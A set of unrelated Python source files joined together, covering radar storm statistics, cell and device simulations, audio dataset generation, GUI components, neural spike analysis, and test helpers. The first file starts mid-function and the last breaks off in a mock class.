radar_heights_m_asl = numpy.sort(
numpy.round(radar_heights_m_asl).astype(int))
# Find radar files.
radar_times_unix_sec = numpy.unique(
storm_object_table[tracking_utils.VALID_TIME_COLUMN].values)
radar_time_strings = [
time_conversion.unix_sec_to_string(t, DEFAULT_TIME_FORMAT)
for t in radar_times_unix_sec]
num_radar_times = len(radar_times_unix_sec)
radar_file_names = [None] * num_radar_times
for i in range(num_radar_times):
radar_file_names[i] = gridrad_io.find_file(
unix_time_sec=radar_times_unix_sec[i],
top_directory_name=top_radar_dir_name, raise_error_if_missing=True)
# Initialize output.
num_radar_fields = len(radar_field_names)
num_radar_heights = len(radar_heights_m_asl)
num_statistics = len(statistic_names)
num_percentiles = len(percentile_levels)
num_storm_objects = len(storm_object_table.index)
statistic_matrix = numpy.full(
(num_storm_objects, num_radar_fields, num_radar_heights,
num_statistics),
numpy.nan)
percentile_matrix = numpy.full(
(num_storm_objects, num_radar_fields, num_radar_heights,
num_percentiles),
numpy.nan)
for i in range(num_radar_times):
# Read metadata for [i]th valid time and find storm objects at [i]th
# valid time.
this_metadata_dict = gridrad_io.read_metadata_from_full_grid_file(
radar_file_names[i])
these_storm_indices = numpy.where(
storm_object_table[tracking_utils.VALID_TIME_COLUMN].values ==
radar_times_unix_sec[i])[0]
for j in range(num_radar_fields):
# Read data for [j]th field at [i]th valid time.
print('Reading "{0:s}" from file "{1:s}"...'.format(
radar_field_names[j], radar_time_strings[i]
))
radar_matrix_this_field, these_grid_point_heights_m_asl, _, _ = (
gridrad_io.read_field_from_full_grid_file(
radar_file_names[i], field_name=radar_field_names[j],
metadata_dict=this_metadata_dict))
these_grid_point_heights_m_asl = numpy.round(
these_grid_point_heights_m_asl).astype(int)
these_height_indices_to_keep = numpy.array(
[these_grid_point_heights_m_asl.tolist().index(h)
for h in radar_heights_m_asl], dtype=int)
del these_grid_point_heights_m_asl
radar_matrix_this_field = (
radar_matrix_this_field[these_height_indices_to_keep, :, :])
radar_matrix_this_field[numpy.isnan(radar_matrix_this_field)] = 0.
for k in range(num_radar_heights):
# Compute radar stats for [j]th field at [k]th height and [i]th
# valid time.
print((
'Computing stats for "{0:s}" at {1:d} metres ASL and '
'{2:s}...'
).format(
radar_field_names[j], radar_heights_m_asl[k],
radar_time_strings[i]
))
for this_storm_index in these_storm_indices:
these_grid_point_rows = storm_object_table[
tracking_utils.ROWS_IN_STORM_COLUMN
].values[this_storm_index].astype(int)
these_grid_point_columns = storm_object_table[
tracking_utils.COLUMNS_IN_STORM_COLUMN
].values[this_storm_index].astype(int)
radar_values_this_storm = extract_radar_grid_points(
field_matrix=numpy.flipud(
radar_matrix_this_field[k, :, :]),
row_indices=these_grid_point_rows,
column_indices=these_grid_point_columns)
(statistic_matrix[this_storm_index, j, k, :],
percentile_matrix[this_storm_index, j, k, :]
) = get_spatial_statistics(
radar_values_this_storm,
statistic_names=statistic_names,
percentile_levels=percentile_levels)
print('\n')
# Create pandas DataFrame.
storm_object_statistic_dict = {}
for j in range(num_radar_fields):
for k in range(num_radar_heights):
for m in range(num_statistics):
this_column_name = radar_field_and_statistic_to_column_name(
radar_field_name=radar_field_names[j],
radar_height_m_asl=radar_heights_m_asl[k],
statistic_name=statistic_names[m])
storm_object_statistic_dict.update(
{this_column_name: statistic_matrix[:, j, k, m]})
for m in range(num_percentiles):
this_column_name = radar_field_and_percentile_to_column_name(
radar_field_name=radar_field_names[j],
radar_height_m_asl=radar_heights_m_asl[k],
percentile_level=percentile_levels[m])
storm_object_statistic_dict.update(
{this_column_name: percentile_matrix[:, j, k, m]})
storm_object_statistic_table = pandas.DataFrame.from_dict(
storm_object_statistic_dict)
return pandas.concat(
[storm_object_table[STORM_COLUMNS_TO_KEEP],
storm_object_statistic_table], axis=1)
def write_stats_for_storm_objects(storm_object_statistic_table,
pickle_file_name):
"""Writes radar statistics for storm objects to a Pickle file.
:param storm_object_statistic_table: pandas DataFrame created by
get_stats_for_storm_objects.
:param pickle_file_name: Path to output file.
"""
statistic_column_names = check_statistic_table(
storm_object_statistic_table, require_storm_objects=True)
columns_to_write = STORM_COLUMNS_TO_KEEP + statistic_column_names
file_system_utils.mkdir_recursive_if_necessary(file_name=pickle_file_name)
pickle_file_handle = open(pickle_file_name, 'wb')
pickle.dump(storm_object_statistic_table[columns_to_write],
pickle_file_handle)
pickle_file_handle.close()
def read_stats_for_storm_objects(pickle_file_name):
"""Reads radar statistics for storm objects from a Pickle file.
:param pickle_file_name: Path to input file.
:return: storm_object_statistic_table: pandas DataFrame with columns
documented in get_stats_for_storm_objects.
"""
pickle_file_handle = open(pickle_file_name, 'rb')
storm_object_statistic_table = pickle.load(pickle_file_handle)
pickle_file_handle.close()
check_statistic_table(
storm_object_statistic_table, require_storm_objects=True)
return storm_object_statistic_table
|
from cc3d import CompuCellSetup
from .DeltaNotchSteppables import DeltaNotchClass
from .DeltaNotchSteppables import ExtraFields
def configure_simulation():
from cc3d.core.XMLUtils import ElementCC3D
cc3d = ElementCC3D("CompuCell3D")
potts = cc3d.ElementCC3D("Potts")
potts.ElementCC3D("Dimensions", {"x": 42, "y": 42, "z": 1})
potts.ElementCC3D("Steps", {}, 10000)
potts.ElementCC3D("Anneal", {}, 10)
potts.ElementCC3D("Temperature", {}, 10)
potts.ElementCC3D("NeighborOrder", {}, 2)
potts.ElementCC3D("Boundary_x", {}, "Periodic")
potts.ElementCC3D("Boundary_y", {}, "Periodic")
cellType = cc3d.ElementCC3D("Plugin", {"Name": "CellType"})
cellType.ElementCC3D("CellType", {"TypeName": "Medium", "TypeId": "0"})
cellType.ElementCC3D("CellType", {"TypeName": "TypeA", "TypeId": "1"})
contact = cc3d.ElementCC3D("Plugin", {"Name": "Contact"})
contact.ElementCC3D("Energy", {"Type1": "Medium", "Type2": "Medium"}, 0)
contact.ElementCC3D("Energy", {"Type1": "Medium", "Type2": "TypeA"}, 5)
contact.ElementCC3D("Energy", {"Type1": "TypeA", "Type2": "TypeA"}, 5)
contact.ElementCC3D("NeighborOrder", {}, 4)
vp = cc3d.ElementCC3D("Plugin", {"Name": "Volume"})
vp.ElementCC3D("TargetVolume", {}, 49)
vp.ElementCC3D("LambdaVolume", {}, 5)
ntp = cc3d.ElementCC3D("Plugin", {"Name": "NeighborTracker"})
uipd = cc3d.ElementCC3D("Steppable", {"Type": "UniformInitializer"})
region = uipd.ElementCC3D("Region")
region.ElementCC3D("BoxMin", {"x": 0, "y": 0, "z": 0})
region.ElementCC3D("BoxMax", {"x": 42, "y": 42, "z": 1})
region.ElementCC3D("Types", {}, "TypeA")
region.ElementCC3D("Width", {}, 7)
CompuCellSetup.setSimulationXMLDescription(cc3d)
CompuCellSetup.register_steppable(steppable=DeltaNotchClass(frequency=1))
CompuCellSetup.register_steppable(steppable=ExtraFields(frequency=1))
configure_simulation()
CompuCellSetup.run()
|
# Copyright 2013 Devsim LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import devsim
import test_common
device="MyDevice"
region="MyRegion"
test_common.CreateSimpleMesh(device, region)
for name, equation in (
("test1", "log(-1)"),
("test2", "log(x)"),
):
devsim.node_model(device=device, region=region, name=name, equation=equation)
try:
print(devsim.get_node_model_values(device=device, region=region, name=name))
except devsim.error as x:
print(x)
|
# Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import argparse
import datetime
import json
import os
import random
import numpy as np
import scipy
import scipy.io.wavfile
parser = argparse.ArgumentParser()
# Input
parser.add_argument('--dataset', default='daqa.json', type=str,
help='JSON file describing the dataset.')
parser.add_argument('--events', default='events', type=str,
help='Location of individual audio events.')
parser.add_argument('--backgrounds', default='backgrounds', type=str,
help='Location of some background noise audio.')
parser.add_argument('--data_fs', default=16000, type=int,
help='Sampling frequency (Hz).')
# Settings
parser.add_argument('--min_num_events', default=5, type=int,
help='Minimum number of events per generated audio.')
parser.add_argument('--max_num_events', default=12, type=int,
help='Maximum number of events per generated audio.')
parser.add_argument('--rand_overlap', default=0.5, type=float,
help='Maximum overlap between adjacent events (seconds).')
parser.add_argument('--seed', default=0, type=int, help='Random Seed.')
parser.add_argument('--version', default='1.0', type=str, help='Version.')
parser.add_argument('--date',
default=datetime.datetime.today().strftime("%m/%d/%Y"),
help="Date.")
parser.add_argument('--license',
default='Creative Commons Attribution (CC-BY 4.0)',
help='License.')
# Output
parser.add_argument('--start_idx', default=0, type=int,
help='Start numbering from start_idx.')
parser.add_argument('--num_audio', default=10, type=int,
help='Number of audio to generate.')
parser.add_argument('--filename_prefix', default='daqa', type=str,
help='Filename prefix to audio and JSON files.')
parser.add_argument('--set', default='new',
help='Set name: train / val / test.')
parser.add_argument('--num_digits', default=6, type=int,
help='Number of digits to enumerate the generated files.')
parser.add_argument('--output_audio_dir', default='../daqa/audio/',
help='Directory to output generated audio.')
parser.add_argument('--output_narrative_dir', default='../daqa/narratives/',
help='Directory to output generated narratives.')
parser.add_argument('--output_narrative_file',
default='../daqa/daqa_narratives.json',
help="Path to narratives JSON file.")
def main(args):
"""Randomly sample audio events to form sequences of events."""
random.seed(args.seed)
np.random.seed(args.seed)
# Read dataset description
with open(args.dataset, 'r') as f:
dataset = json.load(f)
# Define naming conventions and directories
prefix = '%s_%s_' % (args.filename_prefix, args.set)
audio_template = '%s%%0%dd.wav' % (prefix, args.num_digits)
audio_template = os.path.join(args.output_audio_dir, audio_template)
narrative_template = '%s%%0%dd.json' % (prefix, args.num_digits)
narrative_template = os.path.join(args.output_narrative_dir,
narrative_template)
if not os.path.isdir(args.output_audio_dir):
os.makedirs(args.output_audio_dir)
if not os.path.isdir(args.output_narrative_dir):
os.makedirs(args.output_narrative_dir)
# Get list of events and backgrounds
lst_events = list(dataset['origins'].keys()) # without .wav
lst_events_wav = os.listdir(args.events)
lst_events_wav = [e[:-4] for e in lst_events_wav if e.endswith('.wav')]
assert len(lst_events) == len(lst_events_wav), 'Dataset mismatch.'
assert sorted(lst_events) == sorted(lst_events_wav), 'Dataset mismatch.'
lst_bckgrnds = os.listdir(args.backgrounds)
lst_bckgrnds = [e for e in lst_bckgrnds if e.endswith('.wav')]
x_consctvs = [k for k, v in dataset['consecutive'].items() if v is False]
num_fails = 0
# Generate audio and narratives from events
lst_narrative_paths = []
for i in range(args.num_audio):
idx = args.start_idx + i
audio_path = audio_template % idx
narrative_path = narrative_template % idx
lst_narrative_paths.append(narrative_path)
num_events = random.randint(args.min_num_events, args.max_num_events)
# Sample num_events number of events (not unique)
sel_events = None
while sel_events is None:
sel_events = random.sample(lst_events, num_events)
# The following checks if the sequence of selected events is ok
sel_events_dx = [x.split('_')[0] for x in sel_events]
# Check if the list has any identical consective events
consecutives = []
for x in range(len(sel_events_dx) - 1):
if sel_events_dx[x] == sel_events_dx[x + 1]:
consecutives.append(sel_events_dx[x])
# Check if any of the events in consecutives are not allowed
if len([x for x in consecutives if x in x_consctvs]) > 0:
sel_events = None # retry
num_fails += 1
sel_bckgrnd = random.sample(lst_bckgrnds, 1)
audio, narrative = gen_audio_narrative(dataset=dataset,
args=args,
selcted_events=sel_events,
selcted_bckgrnd=sel_bckgrnd,
output_index=idx,
output_audio=audio_path,
)
scipy.io.wavfile.write(audio_path, args.data_fs, audio)
with open(narrative_path, 'w') as f:
json.dump(narrative, f)
print('Generated ' + str(args.num_audio) + ' audio sequences ('
+ str(num_fails) + ' failed attempts). Compiliing narratives...')
# Combine all narratives into a single JSON file
lst_narratives = []
for narrative_path in lst_narrative_paths:
with open(narrative_path, 'r') as f:
lst_narratives.append(json.load(f))
output = {
'info': {
'set': args.set,
'version': args.version,
'date': args.date,
'license': args.license,
},
'narratives': lst_narratives
}
with open(args.output_narrative_file, 'w') as f:
json.dump(output, f)
return True
def gen_audio_narrative(dataset,
args,
selcted_events,
selcted_bckgrnd,
output_index,
output_audio):
# Read audio events
lst_audio_events = []
for e in selcted_events:
e_wav = os.path.join(args.events, e + '.wav')
event_fs, event = scipy.io.wavfile.read(e_wav)
assert event_fs == args.data_fs, \
'Audio event sampling frequency != ' + str(args.data_fs) + ' Hz.'
lst_audio_events.append(event)
# Toss an unbiased coin to concatenate or add events
if random.random() < 0.5:
# concatenate
audio = np.concatenate(lst_audio_events)
else:
# add (allows overlap between adjacent events)
audio = lst_audio_events[0]
for event in lst_audio_events[1:]:
idx_overlap = random.randint(0, (args.rand_overlap * args.data_fs))
plhldr = np.zeros(event.shape[0] - idx_overlap, event.dtype)
audio = np.concatenate((audio, plhldr))
audio[-event.shape[0]:] += event
assert len(audio.shape) == 1, 'Audio events not concatenated properly.'
# Toss an unbiased coin to add background noise
background = 'None'
if random.random() < 0.5:
selec_bckgrnd = os.path.join(args.backgrounds, selcted_bckgrnd[0])
bckgrnd_fs, bckgrnd = scipy.io.wavfile.read(selec_bckgrnd)
assert event_fs == args.data_fs, \
'Bckgrnd sampling frequency != ' + str(args.data_fs) + ' Hz.'
idx_trim = random.randint(0, bckgrnd.shape[0] - audio.shape[0])
trim_bckgrnd = bckgrnd[idx_trim:(audio.shape[0] + idx_trim)]
audio += trim_bckgrnd
background = selcted_bckgrnd[0][:-4]
events = []
for idx, sel_event in enumerate(selcted_events):
event_dx = sel_event.split('_')[0]
event = { # 'start_time': 'end_time':
'order': idx,
'event': event_dx,
'audio': sel_event,
'source': random.choice(dataset['sources'][event_dx]),
'action': random.choice(dataset['actions'][event_dx]),
'duration': (float(lst_audio_events[idx].shape[0]) / args.data_fs),
'loudness': dataset['origins'][sel_event]['loudness'],
}
events.append(event)
# Generate JSON
narrative = {
'set': args.set,
'audio_index': output_index,
'audio_filename': os.path.basename(output_audio),
'background': background,
'events': events,
}
return audio, narrative
if __name__ == "__main__":
args = parser.parse_args()
main(args)
print('Success!')
|
# noinspection PyUnresolvedReferences
import base64
# noinspection PyUnresolvedReferences
from quasargui.base import Component, LabeledComponent
from quasargui.quasar_components import QIcon
from quasargui.tools import merge_classes, build_props
from quasargui.typing import PropValueType, ClassesType, StylesType, EventsType, ChildrenType, PropsType
class Div(Component):
component = 'div'
def __init__(self,
children: ChildrenType = None,
classes: ClassesType = None,
styles: StylesType = None,
props: PropsType = None,
events: EventsType = None):
super().__init__(children, classes, styles, props, events)
class Rows(Div):
defaults = {
'classes': 'q-gutter-y-xs',
'row_classes': 'justify-center'
}
def __init__(self,
children: ChildrenType = None,
classes: ClassesType = None,
row_classes: ClassesType = None,
styles: StylesType = None,
props: PropsType = None,
events: EventsType = None):
classes = merge_classes(
'column',
classes or self.defaults.get('classes', '')
)
self.row_classes = merge_classes(
'row',
row_classes or self.defaults.get('row_classes', ''))
children = self._wrap_children(children)
super().__init__(children, classes, styles, props, events)
def _wrap_children(self, children):
result = []
for child in children or []:
if isinstance(child, Columns):
wrapped_child = child
wrapped_child.classes = merge_classes(
wrapped_child.classes,
self.row_classes)
else:
wrapped_child = Div(children=[child], classes=self.row_classes)
result.append(wrapped_child)
return result
@property
def children(self):
return self._children
def set_children(self, children: ChildrenType):
super().set_children(self._wrap_children(children))
class Columns(Div):
defaults = {
'classes': 'q-gutter-x-xs'
}
def __init__(self,
children: ChildrenType = None,
classes: ClassesType = None,
column_classes: ClassesType = None,
styles: StylesType = None,
props: PropsType = None,
events: EventsType = None):
classes = merge_classes(
'row',
classes or self.defaults.get('classes', '')
)
self.column_classes = merge_classes(
'column',
column_classes or self.defaults.get('column_classes', ''))
children = self._wrap_children(children)
super().__init__(children, classes, styles, props, events)
def _wrap_children(self, children):
result = []
for child in children or []:
if isinstance(child, Rows):
wrapped_child = child
wrapped_child.classes = merge_classes(
wrapped_child.classes,
self.column_classes)
else:
wrapped_child = Div(children=[child], classes=self.column_classes)
result.append(wrapped_child)
return result
@property
def children(self):
return self._children
def set_children(self, children: ChildrenType):
super().set_children(self._wrap_children(children))
class Link(Component):
"""
This is not a Quasar component, but it is definitely useful.
Use this component to point to external links.
eg. ``Link('google', 'google.com', children=[QIcon('open_in_new')])``
"""
component = 'a'
defaults = {
'props': {
'target': '_blank'
},
'classes': 'text-primary',
'styles': {
'text-decoration': 'none'
}
}
def __init__(self,
title: str = None,
href: PropValueType[str] = None,
classes: ClassesType = None,
styles: StylesType = None,
children: ChildrenType = None,
events: EventsType = None):
if children is None and title is None:
raise AssertionError('either title or children parameter must be set')
props = build_props(self.defaults['props'], {'href': href})
styles = build_props(self.defaults['styles'], styles)
if props['target'] == '_blank' and children is None:
children = [QIcon('open_in_new')]
if title is not None:
children = [title] + (children or [])
classes = merge_classes(self.defaults['classes'], classes or '')
super().__init__(children=children, props=props, classes=classes, styles=styles, events=events)
class Heading(Component):
def __init__(self,
n: int,
text: PropValueType[str] = None,
children: ChildrenType = None,
classes: ClassesType = None,
styles: StylesType = None,
events: EventsType = None
):
if not 1 <= n <= 6:
raise AssertionError('n must be between 1 and 6')
self.component = 'h{}'.format(n)
if text is not None:
children = [text] + (children or [])
super().__init__(children=children, classes=classes, styles=styles, events=events)
|
"""
Get unit profiles such as spike correlograms or burstiness
"""
from pyfinch.analysis.parameters import spk_corr_parm
from pyfinch.analysis.spike import BaselineInfo, BurstingInfo, Correlogram, MotifInfo
from pyfinch.database.load import ProjectLoader, DBInfo, create_db
import matplotlib.pyplot as plt
from pyfinch.utils import save
def print_out_text(ax, peak_latency,
firing_rates,
burst_mean_duration, burst_freq, burst_mean_spk, burst_fraction,
category,
burst_index
):
font_size = 12
txt_xloc = 0
txt_yloc = 1
txt_inc = 0.15
ax.set_ylim([0, 1])
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f"Peak Latency = {round(peak_latency, 3)} (ms)", fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f"Firing Rates = {round(firing_rates, 3)} Hz", fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f'Burst Duration = {round(burst_mean_duration, 3)}', fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f'Burst Freq = {round(burst_freq, 3)} Hz', fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f'Burst MeanSpk = {round(burst_mean_spk, 3)}', fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f'Burst Fraction = {round(burst_fraction, 3)} (%)', fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, 'Category = {}'.format(category), fontsize=font_size)
txt_yloc -= txt_inc
ax.text(txt_xloc, txt_yloc, f'Burst Index = {round(burst_index, 3)}', fontsize=font_size)
ax.axis('off')
def get_unit_profile():
# Parameter
nb_row = 8
nb_col = 3
# Create & load database
if update_db:
create_db('create_unit_profile.sql')
# Load database
db = ProjectLoader().load_db()
with open('../database/create_unit_profile.sql', 'r') as sql_file:
db.conn.executescript(sql_file.read())
# Load database
db = ProjectLoader().load_db()
# SQL statement
db.execute(query)
# Loop through db
for row in db.cur.fetchall():
# Load cluster info from db
cluster_db = DBInfo(row)
name, path = cluster_db.load_cluster_db()
unit_nb = int(cluster_db.unit[-2:])
channel_nb = int(cluster_db.channel[-2:])
format = cluster_db.format
motif = cluster_db.motif
mi = MotifInfo(path, channel_nb, unit_nb, motif, format, name, update=update) # cluster object
bi = BaselineInfo(path, channel_nb, unit_nb, cluster_db.songNote, format, name, update=True) # bout object
# Calculate firing rates
mi.get_mean_fr()
# Get correlogram
correlogram = mi.get_correlogram(mi.spk_ts, mi.spk_ts)
correlogram['B'] = bi.get_correlogram(bi.spk_ts, bi.spk_ts) # add baseline correlogram
corr_b = corr_u = corr_d = None
# Get correlogram object per condition
if 'B' in correlogram.keys():
corr_b = Correlogram(correlogram['B']) # Baseline
if 'U' in correlogram.keys():
corr_u = Correlogram(correlogram['U']) # Undirected
if 'D' in correlogram.keys():
corr_d = Correlogram(correlogram['D']) # Directed
# Get jittered correlogram for getting the baseline
correlogram_jitter = mi.get_jittered_corr()
correlogram_jitter['B'] = bi.get_jittered_corr()
for key, value in correlogram_jitter.items():
if key == 'B':
corr_b.category(value)
elif key == 'U':
corr_u.category(value)
elif key == 'D':
corr_d.category(value)
# Define burst info object
burst_info_b = BurstingInfo(bi)
burst_info_u = BurstingInfo(mi, 'U')
burst_info_d = BurstingInfo(mi, 'D')
# Plot the results
fig = plt.figure(figsize=(11, 6))
fig.set_dpi(dpi)
plt.suptitle(mi.name, y=.93)
if corr_b:
ax1 = plt.subplot2grid((nb_row, nb_col), (1, 0), rowspan=3, colspan=1)
corr_b.plot_corr(ax1, spk_corr_parm['time_bin'], correlogram['B'],
'Baseline', xlabel='Time (ms)', ylabel='Count', normalize=normalize)
ax_txt1 = plt.subplot2grid((nb_row, nb_col), (5, 0), rowspan=3, colspan=1)
print_out_text(ax_txt1, corr_b.peak_latency, bi.mean_fr,
burst_info_b.mean_duration, burst_info_b.freq, burst_info_b.mean_nb_spk,
burst_info_b.fraction, corr_b.category, corr_b.burst_index)
if corr_u:
ax2 = plt.subplot2grid((nb_row, nb_col), (1, 1), rowspan=3, colspan=1)
corr_u.plot_corr(ax2, spk_corr_parm['time_bin'], correlogram['U'],
'Undir', xlabel='Time (ms)', normalize=normalize)
ax_txt2 = plt.subplot2grid((nb_row, nb_col), (5, 1), rowspan=3, colspan=1)
print_out_text(ax_txt2, corr_u.peak_latency, mi.mean_fr['U'],
burst_info_u.mean_duration, burst_info_u.freq, burst_info_u.mean_nb_spk,
burst_info_u.fraction, corr_u.category, corr_u.burst_index)
if corr_d:
ax3 = plt.subplot2grid((nb_row, nb_col), (1, 2), rowspan=3, colspan=1)
corr_d.plot_corr(ax3, spk_corr_parm['time_bin'], correlogram['D'],
'Dir', xlabel='Time (ms)', normalize=normalize)
ax_txt3 = plt.subplot2grid((nb_row, nb_col), (5, 2), rowspan=3, colspan=1)
print_out_text(ax_txt3, corr_d.peak_latency, mi.mean_fr['D'],
burst_info_d.mean_duration, burst_info_d.freq, burst_info_d.mean_nb_spk,
burst_info_d.fraction, corr_d.category, corr_d.burst_index)
# Save results to database
if update_db:
# Baseline
if corr_b:
db.cur.execute(
f"UPDATE unit_profile SET burstDurationBaseline = ('{burst_info_b.mean_duration}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstFreqBaseline = ('{burst_info_b.freq}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstMeanNbSpkBaseline = ('{burst_info_b.mean_nb_spk}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstFractionBaseline = ('{burst_info_b.fraction}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstIndexBaseline = ('{corr_b.burst_index}') WHERE clusterID = ({cluster_db.id})")
# Undir
if corr_u:
db.cur.execute(
f"UPDATE unit_profile SET burstDurationUndir = ('{burst_info_u.mean_duration}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstFreqUndir = ('{burst_info_u.freq}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstMeanNbSpkUndir = ('{burst_info_u.mean_nb_spk}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstFractionUndir = ('{burst_info_u.fraction}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
"UPDATE {} SET {} = ? WHERE {} = ?".format('unit_profile', 'unitCategoryUndir', 'clusterID'),
(corr_u.category, cluster_db.id))
db.cur.execute(
f"UPDATE unit_profile SET burstIndexUndir = ('{corr_u.burst_index}') WHERE clusterID = ({cluster_db.id})")
# Dir
if corr_d:
db.cur.execute(
f"UPDATE unit_profile SET burstDurationDir = ('{burst_info_d.mean_duration}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstFreqDir = ('{burst_info_d.freq}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstMeanNbSpkDir = ('{burst_info_d.mean_nb_spk}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
f"UPDATE unit_profile SET burstFractionDir = ('{burst_info_d.fraction}') WHERE clusterID = ({cluster_db.id})")
db.cur.execute(
"UPDATE {} SET {} = ? WHERE {} = ?".format('unit_profile', 'unitCategoryDir', 'clusterID'),
(corr_d.category, cluster_db.id))
db.cur.execute(
f"UPDATE unit_profile SET burstIndexDir = ('{corr_d.burst_index}') WHERE clusterID = ({cluster_db.id})")
db.conn.commit()
# Save results
if save_fig:
save_path = save.make_dir(ProjectLoader().path / 'Analysis', save_folder_name)
save.save_fig(fig, save_path, mi.name, fig_ext=fig_ext, dpi=dpi, view_folder=True)
else:
plt.show()
# Convert db to csv
if update_db:
db.to_csv('unit_profile')
print('Done!')
if __name__ == '__main__':
# Parameters
normalize = False # normalize correlogram
update = False
save_fig = False
update_db = False # save results to DB
fig_ext = '.pdf' # .png or .pdf
dpi = 500
save_folder_name = 'UnitProfiling'
# SQL statement
query = "SELECT * FROM cluster WHERE id=43"
# query = "SELECT * FROM cluster WHERE analysisOK=True"
get_unit_profile()
|
from PyObjCTools.TestSupport import *
from AppKit import *
class TestNSBox (TestCase):
def testConstants(self):
self.assertEqual(NSNoTitle, 0)
self.assertEqual(NSAboveTop, 1)
self.assertEqual(NSAtTop, 2)
self.assertEqual(NSBelowTop, 3)
self.assertEqual(NSAboveBottom, 4)
self.assertEqual(NSAtBottom, 5)
self.assertEqual(NSBelowBottom, 6)
self.assertEqual(NSBoxPrimary, 0)
self.assertEqual(NSBoxSecondary, 1)
self.assertEqual(NSBoxSeparator, 2)
self.assertEqual(NSBoxOldStyle, 3)
self.assertEqual(NSBoxCustom, 4)
def testMethods(self):
self.assertResultIsBOOL(NSBox.isTransparent)
self.assertArgIsBOOL(NSBox.setTransparent_, 0)
if __name__ == "__main__":
main()
|
import wx
from ..figure import Figure
class WorkspaceViewFigure(Figure):
def on_close(self, event):
"""Hide instead of close"""
if isinstance(event, wx.CloseEvent):
event.Veto()
self.Hide()
|
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import numpy as np
import tensorflow as tensorflow
from resnet.data import svhn_input
from resnet.utils import logger
log = logger.get()
class SVHNDataset():
def __init__(self,
folder,
split,
num_fold=10,
fold_id=0,
data_aug=False,
whiten=False,
div255=False):
self.split = split
self.data = svhn_input.read_SVHN(folder)
num_ex = 73257
self.split_idx = np.arange(num_ex)
rnd = np.random.RandomState(0)
rnd.shuffle(self.split_idx)
num_valid = int(np.ceil(num_ex / num_fold))
valid_start = fold_id * num_valid
valid_end = min((fold_id + 1) * num_valid, num_ex)
self.valid_split_idx = self.split_idx[valid_start:valid_end]
self.train_split_idx = np.concatenate(
[self.split_idx[:valid_start], self.split_idx[valid_end:]])
def get_size(self):
if self.split == "train":
return 73257
elif self.split == "traintrain":
return np.ceil(73257*0.9)
elif self.split == "trainval":
return np.ceil(73257*0.1)
else:
return 26032
def get_batch_idx(self, idx):
if self.split == "train":
result = {
"img": self.data["train_img"][idx],
"label": self.data["train_label"][idx]
}
elif self.split == "traintrain":
result = {
"img": self.data["train_img"][self.train_split_idx[idx]],
"label": self.data["train_label"][self.train_split_idx[idx]]
}
elif self.split == "trainval":
result = {
"img": self.data["train_img"][self.valid_split_idx[idx]],
"label": self.data["train_label"][self.valid_split_idx[idx]]
}
else:
result = {
"img": self.data["test_img"][idx],
"label": self.data["test_label"][idx]
}
return result
|
# import themes from within the directory
from pyADVISE.Visualize.Themes.USAID_themes import USAID_style
def create_Div(div, text_type ='text'):
from bokeh.models import Div
# options for text: title, subtitle, text
if text_type == 'text':
a = '<p>\n' + div + '\n</p>\n'
if text_type == 'title':
a = '<h1>\n' + div + '\n</h1>\n'
if text_type == 'subtitle':
a = '<h3>\n' + div + '\n</h3>\n'
doc = Div(text='<style>\nh1 { font-family: "Gill Sans", "Gill Sans MT", Calibri, sans-serif; font-size: 24px; font-style: normal; font-variant: normal; font-weight: 500; line-height: 26.4px; }\n h3 { font-family: "Gill Sans", "Gill Sans MT", Calibri, sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 500; line-height: 15.4px; }\n p {\n font: Gill Sans", "Gill Sans MT", Calibri, sans-serif;\n text-align: justify;\n text-justify: inter-word;\n max-width: 500;\n}\n\n\n\n</style>\n\n'+ a, width=800)
return doc
|
# Copyright 2017-present Open Networking Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import functools
import json
import os
import sys
import unittest
from mock import MagicMock, Mock, patch
from pyfakefs import fake_filesystem_unittest
from io import open
from xosconfig import Config
XOS_DIR = os.path.join(os.path.dirname(__file__), "..")
def make_model(vars_dict, var_name, **kwargs):
""" Helper function to mock creating objects. Creates a MagicMock with the
kwargs, and also saves the variable into a dictionary where it can
easily be inspected.
"""
name = kwargs.pop("name", None)
newmodel = MagicMock(**kwargs)
if name:
# Can't pass "name" in as an arg to MagicMock
newmodel.name = name
vars_dict[var_name] = newmodel
return newmodel
class MockServer(object):
